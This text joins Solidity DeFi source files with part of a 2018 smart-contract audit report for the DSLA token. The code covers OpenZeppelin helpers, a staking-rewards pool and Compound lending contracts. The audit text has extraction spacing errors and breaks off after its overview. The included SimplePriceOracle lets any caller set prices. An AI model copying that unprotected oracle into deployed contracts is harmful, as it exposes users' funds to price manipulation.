of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/PctPool.sol pragma solidity ^0.5.0; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public stakeToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address stakeTokenAddress) public { stakeToken = IERC20(stakeTokenAddress); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakeToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakeToken.safeTransfer(msg.sender, amount); } } contract PctPool is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public pct; uint256 public constant DURATION = 14 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; constructor(address pctAddress, address stakeTokenAddress) LPTokenWrapper(stakeTokenAddress) public { rewardDistribution = msg.sender; pct = IERC20(pctAddress); } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; pct.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } }pragma solidity ^0.5.16; import "./CErc20.sol"; /** * @title Compound's CErc20Immutable Contract * @notice CTokens which wrap an EIP-20 underlying and are immutable * @author Compound */ contract CErc20Immutable is CErc20 { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; // Initialize the market initialize(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } } pragma solidity ^0.5.16; import "./CToken.sol"; /** * @title Compound's CEther Contract * @notice CToken which wraps Ether * @author Compound */ contract CEther is CToken { /** * @notice Construct a new CEther money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Reverts upon any failure */ function mint() external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @dev Reverts upon any failure */ function repayBorrow() external payable { (uint err,) = repayBorrowInternal(msg.value); requireNoError(err, "repayBorrow failed"); } /** * @notice Sender repays a borrow belonging to borrower * @dev Reverts upon any failure * @param borrower the account with the debt being payed off */ function repayBorrowBehalf(address borrower) external payable { (uint err,) = repayBorrowBehalfInternal(borrower, msg.value); requireNoError(err, "repayBorrowBehalf failed"); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @dev Reverts upon any failure * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower */ function liquidateBorrow(address borrower, CToken cTokenCollateral) external payable { (uint err,) = liquidateBorrowInternal(borrower, msg.value, cTokenCollateral); requireNoError(err, "liquidateBorrow failed"); } /** * @notice Send Ether to CEther to mint */ function () external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of Ether, before this message * @dev This excludes the value of the current message, if any * @return The quantity of Ether owned by this contract */ function getCashPrior() internal view returns (uint) { (MathError err, uint startingBalance) = subUInt(address(this).balance, msg.value); require(err == MathError.NO_ERROR); return startingBalance; } /** * @notice Perform the actual transfer in, which is a no-op * @param from Address sending the Ether * @param amount Amount of Ether being sent * @return The actual amount of Ether transferred */ function doTransferIn(address from, uint amount) internal returns (uint) { // Sanity checks require(msg.sender == from, "sender mismatch"); require(msg.value == amount, "value mismatch"); return amount; } function doTransferOut(address payable to, uint amount) internal { /* Send the Ether, with minimal gas and revert on failure */ to.transfer(amount); } function requireNoError(uint errCode, string memory message) internal pure { if (errCode == uint(Error.NO_ERROR)) { return; } bytes memory fullMessage = new bytes(bytes(message).length + 5); uint i; for (i = 0; i < bytes(message).length; i++) { fullMessage[i] = bytes(message)[i]; } fullMessage[i+0] = byte(uint8(32)); fullMessage[i+1] = byte(uint8(40)); fullMessage[i+2] = byte(uint8(48 + ( errCode / 10 ))); fullMessage[i+3] = byte(uint8(48 + ( errCode % 10 ))); fullMessage[i+4] = byte(uint8(41)); require(errCode == uint(Error.NO_ERROR), string(fullMessage)); } } pragma solidity ^0.5.16; import "./JumpRateModelV2.sol"; import "./SafeMath.sol"; /** * @title Compound's DAIInterestRateModel Contract (version 3) * @author Compound (modified by Dharma Labs) * @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper. * Version 3 modifies the interest rate model in Version 2 by increasing the initial "gap" or slope of * the model prior to the "kink" from 2% to 4%, and enabling updateable parameters. */ contract DAIInterestRateModelV3 is JumpRateModelV2 { using SafeMath for uint; /** * @notice The additional margin per block separating the base borrow rate from the roof. */ uint public gapPerBlock; /** * @notice The assumed (1 - reserve factor) used to calculate the minimum borrow rate (reserve factor = 0.05) */ uint public constant assumedOneMinusReserveFactorMantissa = 0.95e18; PotLike pot; JugLike jug; /** * @notice Construct an interest rate model * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied * @param pot_ The address of the Dai pot (where DSR is earned) * @param jug_ The address of the Dai jug (where SF is kept) * @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly) */ constructor(uint jumpMultiplierPerYear, uint kink_, address pot_, address jug_, address owner_) JumpRateModelV2(0, 0, jumpMultiplierPerYear, kink_, owner_) public { gapPerBlock = 4e16 / blocksPerYear; pot = PotLike(pot_); jug = JugLike(jug_); poke(); } /** * @notice External function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18). For DAI, this is calculated from DSR and SF. Input not used. * @param gapPerYear The Additional margin per year separating the base borrow rate from the roof. (scaled by 1e18) * @param jumpMultiplierPerYear The jumpMultiplierPerYear after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModel(uint baseRatePerYear, uint gapPerYear, uint jumpMultiplierPerYear, uint kink_) external { require(msg.sender == owner, "only the owner may call this function."); gapPerBlock = gapPerYear / blocksPerYear; updateJumpRateModelInternal(0, 0, jumpMultiplierPerYear, kink_); poke(); } /** * @notice Calculates the current supply interest rate per block including the Dai savings rate * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint protocolRate = super.getSupplyRate(cash, borrows, reserves, reserveFactorMantissa); uint underlying = cash.add(borrows).sub(reserves); if (underlying == 0) { return protocolRate; } else { uint cashRate = cash.mul(dsrPerBlock()).div(underlying); return cashRate.add(protocolRate); } } /** * @notice Calculates the Dai savings rate per block * @return The Dai savings rate per block (as a percentage, and scaled by 1e18) */ function dsrPerBlock() public view returns (uint) { return pot .dsr().sub(1e27) // scaled 1e27 aka RAY, and includes an extra "ONE" before subraction .div(1e9) // descale to 1e18 .mul(15); // 15 seconds per block } /** * @notice Resets the baseRate and multiplier per block based on the stability fee and Dai savings rate */ function poke() public { (uint duty, ) = jug.ilks("ETH-A"); uint stabilityFeePerBlock = duty.add(jug.base()).sub(1e27).mul(1e18).div(1e27).mul(15); // We ensure the minimum borrow rate >= DSR / (1 - reserve factor) baseRatePerBlock = dsrPerBlock().mul(1e18).div(assumedOneMinusReserveFactorMantissa); // The roof borrow rate is max(base rate, stability fee) + gap, from which we derive the slope if (baseRatePerBlock < stabilityFeePerBlock) { multiplierPerBlock = stabilityFeePerBlock.sub(baseRatePerBlock).add(gapPerBlock).mul(1e18).div(kink); } else { multiplierPerBlock = gapPerBlock.mul(1e18).div(kink); } emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } /*** Maker Interfaces ***/ contract PotLike { function chi() external view returns (uint); function dsr() external view returns (uint); function rho() external view returns (uint); function pie(address) external view returns (uint); function drip() external returns (uint); function join(uint) external; function exit(uint) external; } contract JugLike { // --- Data --- struct Ilk { uint256 duty; uint256 rho; } mapping (bytes32 => Ilk) public ilks; uint256 public base; } pragma solidity ^0.5.16; import "./CEther.sol"; /** * @title Compound's Maximillion Contract * @author Compound */ contract Maximillion { /** * @notice The default cEther market to repay in */ CEther public cEther; /** * @notice Construct a Maximillion to repay max in a CEther market */ constructor(CEther cEther_) public { cEther = cEther_; } /** * @notice msg.sender sends Ether to repay an account's borrow in the cEther market * @dev The provided Ether is applied towards the borrow balance, any excess is refunded * @param borrower The address of the borrower account to repay on behalf of */ function repayBehalf(address borrower) public payable { repayBehalfExplicit(borrower, cEther); } /** * @notice msg.sender sends Ether to repay an account's borrow in a cEther market * @dev The provided Ether is applied towards the borrow balance, any excess is refunded * @param borrower The address of the borrower account to repay on behalf of * @param cEther_ The address of the cEther contract to repay in */ function repayBehalfExplicit(address borrower, CEther cEther_) public payable { uint received = msg.value; uint borrows = cEther_.borrowBalanceCurrent(borrower); if (received > borrows) { cEther_.repayBorrowBehalf.value(borrows)(borrower); msg.sender.transfer(received - borrows); } else { cEther_.repayBorrowBehalf.value(received)(borrower); } } } pragma solidity ^0.5.16; import "./PriceOracle.sol"; import "./CErc20.sol"; contract SimplePriceOracle is PriceOracle { mapping(address => uint) prices; event PricePosted(address asset, uint previousPriceMantissa, uint requestedPriceMantissa, uint newPriceMantissa); function getUnderlyingPrice(CToken cToken) public view returns (uint) { if (compareStrings(cToken.symbol(), "cETH")) { return 1e18; } else { return prices[address(CErc20(address(cToken)).underlying())]; } } function setUnderlyingPrice(CToken cToken, uint underlyingPriceMantissa) public { address asset = address(CErc20(address(cToken)).underlying()); emit PricePosted(asset, prices[asset], underlyingPriceMantissa, underlyingPriceMantissa); prices[asset] = underlyingPriceMantissa; } function setDirectPrice(address asset, uint price) public { emit PricePosted(asset, prices[asset], price, price); prices[asset] = price; } // v1 price oracle interface for use as backing of proxy function assetPrices(address asset) external view returns (uint) { return prices[asset]; } function compareStrings(string memory a, string memory b) internal pure returns (bool) { return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b)))); } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; }
1 / 18 DSLA TOKEN SMART CONTRACT AUDIT FOR STACKTICAL SAS 15.11.2018 Made in Germany by Chainsulting.de 2 / 18 Smart Contract Audit DSLA Token Table of Contents 1. Disclaime r 2. About the Project and Company 3. Vulnerability Level 4. Overview of the Audit 4.1 Used Code from other Frameworks/Smart Contracts (3th Party) 4.2 Tested Contract Files 4.3 Contract Specifications (DSLA Token) 5. Summary of Contracts and Methods 5.1 DSLA Token 5.2 Crowdsale 6. Test Suite Results (DSLA Token) 6.1 Mythril Classic Security Au dit 6.2 Oyente Security Audit 7. Test Suite Results (Crowdsale) 7.1 Mythril Classic Security Audit 7.2 Oyente Security Audit 8. Specific Attacks (DSLA Token & Crowdsale) 9. Executive Summary 10. General Summary 11. Deployed Smart Contract 3 / 18 1. Disclaimer The audit makes no statements or warrantees about utility of the code, safety of the code, suitability of the business model, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. T he audit docu mentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of Stacktical SAS . If you are not the intended receptor of this document, remember that any disclosure, copying or dissemination of it is forbidden. Major Version s / Date Description Author 0.1 (28.10.2018 ) Layout Y. Heinze 0.5 (29.10.201 8) Automat ed Secu rity Testing Y. Heinze 0.7 (30.10.201 8) Manual Security Testing Y. Heinze 1.0 (30.10.201 8) Summary and Recommendation Y. Heinze 1.5 (15.11.2018) Deploy to Main Network Ethereum Y. Heinze 1.6 (15.11.201 8) Last Security Che ck and adding of recommendations Y. Heinze 1.7 (15.11.2018) Update d Code Base Y. Heinze 4 / 18 2. About the Project and Company Company address: STACKTICAL SAS 3 BOULEVARD DE SEBASTOPOL 75001 PARIS FRANCE RCS 829 644 715 VAT FR02829644715 5 / 18 Project Overview: Stacktical is a french software company specialized in applying predictive and blockchain technologies to performance, employee and customer management practices. Stacktical.com is a comprehensive service level management platform that enables web service providers to automati cally indemnify consumers for application performance failures, and reward employees that consistently meet service level objectives. Company Check: https://www.infogreffe.fr/entreprise -societe/829644715 -stacktical -750117B117250000.html 6 / 18 3. Vulnerability Level 0-Informational severity – A vulnerability that have informational character but is not effecting any of the code. 1-Low severity - A vulnerability that does not have a significant impact on possible scenarios for the use of the contract and is probably subjective. 2-Medium severity – A vulnerability that could affect the desired outcome of executing the contract in a specific scenario. 3-High severity – A vulnerability that affects the desired outcome when using a contract, or provides the opportunity to use a contract in an unintended way. 4-Critical severity – A vulnerability that can disrupt the contract functioning in a number of scenarios, or creates a risk that the contract may be broken. 4. Overview of the audit The DSLA Token is part of the DSLA Crowdsale Contract and both where audited . All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. 7 / 18 4.1 Used Code from other Frameworks/Smart Contracts (3th Party) 1. SafeMath .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/math/SafeMath.sol 2. ERC20Burnable 